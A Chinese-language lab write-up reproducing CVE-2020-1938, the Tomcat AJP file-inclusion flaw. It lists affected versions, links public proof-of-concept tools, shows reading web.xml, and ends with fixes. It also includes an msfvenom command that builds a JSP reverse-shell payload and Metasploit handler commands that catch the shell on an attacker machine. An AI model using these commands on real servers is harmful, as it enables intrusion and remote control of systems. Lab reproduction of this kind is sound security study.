1. 程式人生 > 其它 >CVE-2020-1938 Tomcat檔案包含漏洞復現

CVE-2020-1938 Tomcat檔案包含漏洞復現

0x01 漏洞概述

Apache Tomcat是美國阿帕奇(Apache)軟體基金會的一款輕量級Web應用伺服器。該程式實現了對Servlet和JavaServer Page(JSP)的支援。

Apache Tomcat 7.0.100之前的7.*版本、8.5.51之前的8.*版本和9.0.31之前的9.*版本中的Tomcat AJP協議存在檔案包含漏洞。攻擊者可利用該漏洞讀取或包含Tomcat上所有webapp目錄下的任意檔案,如:webapp 配置檔案或原始碼等。

0x02 影響版本

  Apache Tomcat 6

  Apache Tomcat 7 < 7.0.100

  Apache Tomcat 8 < 8.5.51

  Apache Tomcat 9 < 9.0.31

0x03 環境搭建

  • Centos7 (192.168.114.129)
  • Kali (192.168.114.173)
  • Tomcat 9.0.30
  • jdk 1.8.0_261

① 下載tomcat 9.0.30版本並在Centos7上配置安裝

  下載地址:https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.30/bin/

  

  tomcat在centos7上的安裝方法百度上有很多,這裡參考了這篇

  https://cloud.tencent.com/developer/article/1334759

② 瀏覽器訪問ip:8080檢視

  tomcat環境搭建成功。

0x04 漏洞復現

① 這裡使用github上的POC驗證漏洞

  https://github.com/hypn0s/AJPy

  執行POC可檢視tomcat的版本資訊

  

  執行POC讀取tomcat的配置檔案資訊web.xml

  

  可看到成功讀取到配置資訊。

②利用該漏洞實現RCE

  需要先將payload上傳至tomcat目錄下,然後利用該漏洞啟用payload,反彈shell。

  ① 使用msfvenom生成shell.txt  

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=4444
> shell.txt

  ②上傳至tomcat目錄

  ③執行POC檢視反彈Shell

   這裡使用了另一個POC:

    https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC

  • Kali開啟MSF
msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp 
msf6 exploit(multi/handler) > set LHOST 192.168.114.173
msf6 exploit(multi/handler) > set LPORT 4444
  • 執行POC

  • Kali接受反彈Shell

0x05 修復建議

  升級最新版本

  關閉AJP Connector

  將其監聽地址改為僅監聽本機